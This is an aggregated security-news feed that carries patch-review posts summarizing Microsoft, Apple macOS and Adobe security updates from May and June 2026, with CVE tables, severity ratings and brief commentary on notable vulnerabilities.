CVE-2026-33838 Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34342 Windows Print Spooler Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-41095 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34340 Windows Projected File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-40398 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21530 Windows Rich Text Edit Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-32170 Windows Rich Text Edit Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-40410 Windows SMB Client Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35415 Windows Storage Spaces Controller Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34350 Windows Storport Miniport Driver Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-40405 Windows TCP/IP Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-40414 Windows TCP/IP Denial of Service Vulnerability Important 7.4 No No DoS
CVE-2026-40401 Windows TCP/IP Denial of Service Vulnerability Important 6.2 No No DoS
CVE-2026-40413 Windows TCP/IP Denial of Service Vulnerability Important 7.4 No No DoS
CVE-2026-35422 Windows TCP/IP Driver Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-34351 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40399 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34334 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40406 Windows TCP/IP Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-33837 Windows TCP/IP Local Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40415 Windows TCP/IP Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-42825 Windows Telephony Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-34338 Windows Telephony Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40382 Windows Telephony Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40380 Windows Volume Manager Extension Driver Remote Code Execution Vulnerability Important 6.2 No No RCE
CVE-2026-40408 Windows WAN ARP Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34333 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34347 Windows Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35417 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42891 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 6.5 No No Spoofing
CVE-2026-35429 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 4.3 No No Spoofing
CVE-2026-41107 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Moderate 7.4 No No Info
CVE-2026-40416 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Low 4.3 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.

Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.

As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.

This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption. Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook. On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.

Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.

The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI.

There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.

There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.

No new advisories are being released this month.

Looking Ahead

Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[The Apple macOS Security Update Review]]> https://tsecurity.de/de/3694569/hacking/the-apple-macos-security-update-review/ https://tsecurity.de/de/3694569/hacking/the-apple-macos-security-update-review/ Sat, 25 Jul 2026 19:02:56 +0200 đŸ•”ïž Hacking tsecurity.de We’ve received some feedback from those who read the Patch Blog that they would like something similar for macOS updates. Unfortunately, Apple doesn’t schedule these for a particular day, but we can provide our thoughts and analysis on the days they do release their latest patches.

For May 2026, Apple released 82 unique CVEs across the three macOS versions: 79 for macOS Tahoe 26.5, 45 for macOS Sequoia 15.7.7, and 42 for macOS Sonoma 14.8.7. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. However, there are a couple that stand out.

-              CVE-2026-28819 (Wi-Fi) stands out as the strongest candidate for the most severe as it states, “An app may be able to execute arbitrary code with kernel privileges.” The combination of arbitrary code execution at the kernel level is about as bad as it gets on a severity scale. Plus, it affects all three macOS versions (Tahoe, Sequoia, and Sonoma).

-              CVE-2026-43668 (mDNSResponder) also piques my interest since, “A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.” The remote attack vector with kernel memory corruption on all three OS versions makes this a serious one, especially since mDNSResponder is always running.

-              CVE-2026-28972 (Kernel) This one states that “An app may be able to cause unexpected system termination or write kernel memory.” An out-of-bounds write directly into kernel memory on all three OS versions. This one may also have implications in the upcoming Pwn2Own Berlin contest.

Here’s a look at all the bugs released by Apple this month:

82Unique CVEs 79macOS Tahoe 26.5 45macOS Sequoia 15.7.7 42macOS Sonoma 14.8.7
CVE ID Component Impact macOS Tahoe 26.5 macOS Sequoia 15.7.7 macOS Sonoma 14.8.7
CVE-2026-28991 Accelerate An app may be able to cause a denial-of-service Yes No No
CVE-2026-28988 Accounts An app may be able to bypass certain Privacy preferences Yes No No
CVE-2026-28959 APFS An app may be able to cause unexpected system termination Yes Yes Yes
CVE-2026-28995 App Intents A malicious app may be able to break out of its sandbox Yes No No
CVE-2026-1837 AppleJPEG Processing a maliciously crafted image may lead to a denial-of-service Yes No No
CVE-2026-28956 AppleJPEG Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory Yes Yes Yes
CVE-2026-39869 Audio Processing an audio stream in a maliciously crafted media file may terminate the process Yes Yes Yes
CVE-2026-28922 CoreMedia An app may be able to access private information Yes Yes Yes
CVE-2026-28936 CoreServices Processing a maliciously crafted file may lead to unexpected app termination Yes No Yes
CVE-2026-28918 CoreSymbolication Parsing a maliciously crafted file may lead to an unexpected app termination Yes No No
CVE-2026-28878 Crash Reporter An app may be able to enumerate a user's installed apps No Yes No
CVE-2026-28915 CUPS An app may be able to gain root privileges Yes Yes Yes
CVE-2026-43659 FileProvider An app may be able to access sensitive user data Yes Yes Yes
CVE-2026-28923 GPU Drivers A malicious app may be able to break out of its sandbox Yes Yes Yes
CVE-2026-28925 HFS An app may be able to cause unexpected system termination or write kernel memory Yes Yes Yes
CVE-2025-43524 Icons An app may be able to break out of its sandbox No Yes Yes
CVE-2026-43661 ImageIO Processing a maliciously crafted image may corrupt process memory Yes No No
CVE-2026-28977 ImageIO Processing a maliciously crafted file may lead to unexpected app termination Yes Yes Yes
CVE-2026-28990 ImageIO Processing a maliciously crafted image may corrupt process memory Yes Yes Yes
CVE-2026-28978 Installer A malicious app may be able to break out of its sandbox Yes Yes Yes
CVE-2026-28992 IOHIDFamily An attacker may be able to cause unexpected app termination Yes Yes Yes
CVE-2026-28943 IOHIDFamily An app may be able to determine kernel memory layout Yes Yes Yes
CVE-2026-28969 IOKit An app may be able to cause unexpected system termination Yes Yes Yes
CVE-2026-43655 IOSurfaceAccelerator An app may be able to cause unexpected system termination or read kernel memory Yes No No
CVE-2026-43654 Kernel An app may be able to disclose kernel memory Yes Yes Yes
CVE-2026-28908 Kernel An app may be able to modify protected parts of the file system Yes Yes Yes
CVE-2026-28954 Kernel A maliciously crafted disk image may bypass Gatekeeper checks Yes Yes Yes
CVE-2026-28897 Kernel A local user may be able to cause unexpected system termination or read kernel memory Yes Yes Yes
CVE-2026-28952 Kernel An app may be able to cause unexpected system termination Yes Yes Yes
CVE-2026-28951 Kernel An app may be able to gain root privileges Yes Yes Yes
CVE-2026-28972 Kernel An app may be able to cause unexpected system termination or write kernel memory Yes Yes Yes
CVE-2026-28986 Kernel An app may be able to cause unexpected system termination Yes Yes Yes
CVE-2026-28987 Kernel An app may be able to leak sensitive kernel state Yes Yes Yes
CVE-2026-28983 LaunchServices A remote attacker may be able to cause a denial of service Yes No No
CVE-2026-28929 Mail Drafts Replying to an email could display remote images in Mail in Lockdown Mode Yes Yes Yes
CVE-2026-43653 mDNSResponder An attacker on the local network may be able to cause a denial-of-service Yes No Yes
CVE-2026-28985 mDNSResponder An attacker on the local network may be able to cause a denial-of-service Yes No No
CVE-2026-43668 mDNSResponder A remote attacker may be able to cause unexpected system termination or corrupt kernel memory Yes Yes Yes
CVE-2026-43666 mDNSResponder An attacker on the local network may be able to cause a denial-of-service Yes Yes Yes
CVE-2026-28941 Model I/O Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents Yes Yes No
CVE-2026-28940 Model I/O Processing a maliciously crafted image may corrupt process memory Yes Yes No
CVE-2026-28961 Network Extensions An attacker with physical access to a locked device may be able to view sensitive user information Yes No No
CVE-2026-28906 Networking An attacker may be able to track users through their IP address Yes Yes Yes
CVE-2026-28840 PackageKit An app may be able to gain root privileges No Yes Yes
CVE-2026-43656 Quick Look Parsing a maliciously crafted file may lead to an unexpected app termination Yes Yes Yes
CVE-2026-43652 Sandbox An app may be able to access protected user data Yes No No
CVE-2026-39870 SceneKit Processing a maliciously crafted image may corrupt process memory Yes Yes Yes
CVE-2026-28846 SceneKit A remote attacker may be able to cause unexpected app termination Yes Yes Yes
CVE-2026-28993 Shortcuts An app may be able to access user-sensitive data Yes Yes Yes
CVE-2026-28848 SMB A remote attacker may be able to cause unexpected system termination Yes Yes No
CVE-2026-28930 Spotlight An app may be able to access protected user data Yes No No
CVE-2026-28974 Spotlight An app may be able to cause a denial-of-service Yes Yes No
CVE-2026-28996 Storage An app may be able to access sensitive user data Yes Yes Yes
CVE-2026-28919 StorageKit An app may be able to gain root privileges Yes Yes Yes
CVE-2026-28924 Sync Services An app may be able to access Contacts without user consent Yes Yes Yes
CVE-2026-39871 TV App An app may be able to observe unprotected user data Yes Yes Yes
CVE-2026-28976 UserAccountUpdater An app may be able to gain root privileges Yes No No
CVE-2026-43660 WebKit Processing maliciously crafted web content may prevent Content Security Policy from being enforced Yes No No
CVE-2026-28907 WebKit Processing maliciously crafted web content may prevent Content Security Policy from being enforced Yes No No
CVE-2026-28962 WebKit Processing maliciously crafted web content may disclose sensitive user information Yes No No
CVE-2026-43658 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes No No
CVE-2026-28905 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28847 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28904 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28955 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28903 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28953 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28902 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28901 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28913 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28883 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28958 WebKit An app may be able to access sensitive user data Yes No No
CVE-2026-28917 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28947 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes No No
CVE-2026-28946 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes No No
CVE-2026-28942 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes No No
CVE-2026-28971 WebKit A malicious iframe may use another website's download settings Yes No No
CVE-2026-28944 WebRTC Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28819 Wi-Fi An app may be able to execute arbitrary code with kernel privileges Yes Yes Yes
CVE-2026-28994 Wi-Fi An attacker in a privileged network position may be able to perform denial-of-service attack using crafted Wi-Fi packets Yes Yes Yes
CVE-2026-28914 zip A maliciously crafted ZIP archive may bypass Gatekeeper checks Yes No No
CVE-2026-28920 zlib Visiting a maliciously crafted website may leak sensitive data Yes Yes Yes
CVEs marked with the scarab logo were reported through the TrendAI Zero Day Initiative program.

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

]]> <![CDATA[The June 2026 Security Update Review]]> https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/ https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/ Sat, 25 Jul 2026 19:02:53 +0200 đŸ•”ïž Hacking tsecurity.de I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-66 Adobe Campaign Classic 2 Critical 10.0 No 1
APSB26-64 Adobe ColdFusion 7 Critical 9.6 No 1
APSB26-63 Adobe Acrobat Reader 20 Critical 7.8 No 2
APSB26-57 Adobe Experience Manager Forms 3 Critical 9.3 No 2
APSB26-62 Adobe Dreamweaver 5 Critical 8.6 No 3
APSB26-65 Adobe Format Plugins 2 Critical 7.8 No 3
APSB26-59 Adobe InCopy 3 Critical 7.8 No 3
APSB26-58 Adobe InDesign 12 Critical 7.8 No 3
APSB26-60 Adobe Substance 3D Sampler 4 Critical 7.8 No 3
APSB26-61 Content Credentials SDK 8 Critical 7.5 No 3
APSB26-56 Adobe Experience Manager 57 Important 5.4 No 3
TOTAL 11 bulletins 123

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

-    CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

-    CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

-    CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

 Here’s the full list of CVEs released by Microsoft for June 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited XI Type
CVE-2026-41091 Microsoft Defender Elevation of Privilege Vulnerability Important 7.8 Yes Yes 0 EoP
CVE-2026-49160 HTTP.sys Denial of Service Vulnerability Important 7.5 Yes No 1 DoS
CVE-2026-50507 Windows BitLocker Security Feature Bypass Vulnerability Important 6.8 Yes No 1 SFB
CVE-2026-45586 Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability Important 7.8 Yes No 1 EoP
CVE-2025-10263 * ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel] Critical 9.3 No No 2 EoP
CVE-2026-48567 Azure HorizonDB Elevation of Privilege Vulnerability Critical 10 No No N/A EoP
CVE-2026-32193 Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability Critical 8.8 No No 3 RCE
CVE-2026-47644 Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability Critical 6.5 No No 2 Info
CVE-2026-44815 DHCP Client Service Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-47291 HTTP.sys Remote Code Execution Vulnerability Critical 9.8 No No 1 RCE
CVE-2026-42824 M365 Copilot Information Disclosure Vulnerability Critical 6.5 No No N/A Info
CVE-2026-45476 Microsoft Azure Network Adapter Elevation of Privilege Vulnerability Critical 8.2 No No 2 EoP
CVE-2026-44810 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Critical 8.4 No No 2 EoP
CVE-2026-48579 Microsoft Exchange Online Information Disclosure Vulnerability Critical 9.1 No No N/A Info
CVE-2026-47655 Microsoft Graph Information Disclosure Vulnerability Critical 6.5 No No N/A Info
CVE-2026-45497 Microsoft M365 Copilot Remote Code Execution Vulnerability Critical 7.7 No No N/A RCE
CVE-2026-45460 Microsoft Office Information Disclosure Vulnerability Critical 4.7 No No 3 Info
CVE-2026-45472 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45474 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45461 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45463 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45456 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45458 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-47635 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-26142 Nuance PowerScribe Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-47289 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No 2 RCE
CVE-2026-47654 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 3 RCE
CVE-2026-48563 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-42992 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-44799 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-44801 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-42985 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No 1 RCE
CVE-2026-45648 Windows Active Directory Domain Services Remote Code Execution Vulnerability Critical 8.8 No No 3 RCE
CVE-2026-42987 Windows Deployment Services (WDS) Remote Code Execution Critical 8.1 No No 2 RCE
CVE-2026-33828 Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability Critical 7.8 No No 3 EoP
CVE-2026-44803 Windows Graphics Component Remote Code Execution Vulnerability Critical 7.8 No No 1 RCE
CVE-2026-44812 Windows Graphics Component Remote Code Execution Vulnerability Critical 7.8 No No 1 RCE
CVE-2026-45607 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45641 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-47652 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.2 No No 2 RCE
CVE-2026-47288 Windows Kerberos Key Distribution Center (KDC) Remote Code Execution Critical 7.1 No No 3 RCE
CVE-2026-45657 Windows Kernel Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-48574 Windows Media Remote Code Execution Vulnerability Critical 7.8 No No 2 RCE
CVE-2026-45490 .NET SDK Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45491 .NET Tampering Vulnerability Important 6.2 No No 3 Tampering
CVE-2026-45591 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No 2 DoS
CVE-2026-47643 Azure Stack Edge Remote Code Execution Vulnerability Important 9.8 No No 3 RCE
CVE-2026-41098 Azure Stack Edge Spoofing Vulnerability Important 8.4 No No 2 Spoofing
CVE-2026-45642 Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability Important 3.9 No No 2 Spoofing
CVE-2026-45650 Microsoft Bing Search Spoofing Vulnerability Important 4.3 No No 2 Spoofing
CVE-2026-45637 Microsoft DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45647 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Important 5.5 No No 2 EoP
CVE-2026-40371 Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability Important 8.8 No No 2 EoP
CVE-2026-44822 Microsoft Excel Information Disclosure Vulnerability Important 8.2 No No 3 Info
CVE-2026-45455 Microsoft Excel Information Disclosure Vulnerability Important 3.3 No No 2 Info
CVE-2026-45469 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44817 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 3 RCE
CVE-2026-44818 Microsoft Excel Remote Code Execution Vulnerability Important 7 No No 2 RCE
CVE-2026-44820 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44823 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45459 Microsoft Excel Security Feature Bypass Vulnerability Important 3.3 No No 2 SFB
CVE-2026-45504 Microsoft Exchange Server Elevation of Privilege Vulnerability Important 8.8 No No 3 EoP
CVE-2026-45502 Microsoft Exchange Server Information Disclosure Vulnerability Important 5 No No 3 Info
CVE-2026-45503 Microsoft Exchange Server Information Disclosure Vulnerability Important 8.1 No No 3 Info
CVE-2026-45583 Microsoft Exchange Server Remote Code Execution Vulnerability Important 7.5 No No 2 RCE
CVE-2026-45500 Microsoft Exchange Server Spoofing Vulnerability Important 6.1 No No 2 Spoofing
CVE-2026-45501 Microsoft Exchange Server Spoofing Vulnerability Important 6.5 No No 2 Spoofing
CVE-2026-47631 Microsoft Exchange Server Spoofing Vulnerability Important 8.1 No No 2 Spoofing
CVE-2026-42986 Microsoft Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-41092 Microsoft Kinect Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45644 Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability Important 8 No No 2 EoP
CVE-2026-47293 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45485 Microsoft Office Information Disclosure Vulnerability Important 3.3 No No 2 Info
CVE-2026-44821 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45483 Microsoft Office Project Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45475 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44819 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44824 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45645 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-49161 Microsoft PC Manager Security Feature Bypass Vulnerability Important 7.8 No No 3 SFB
CVE-2026-42902 Microsoft PowerToys Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
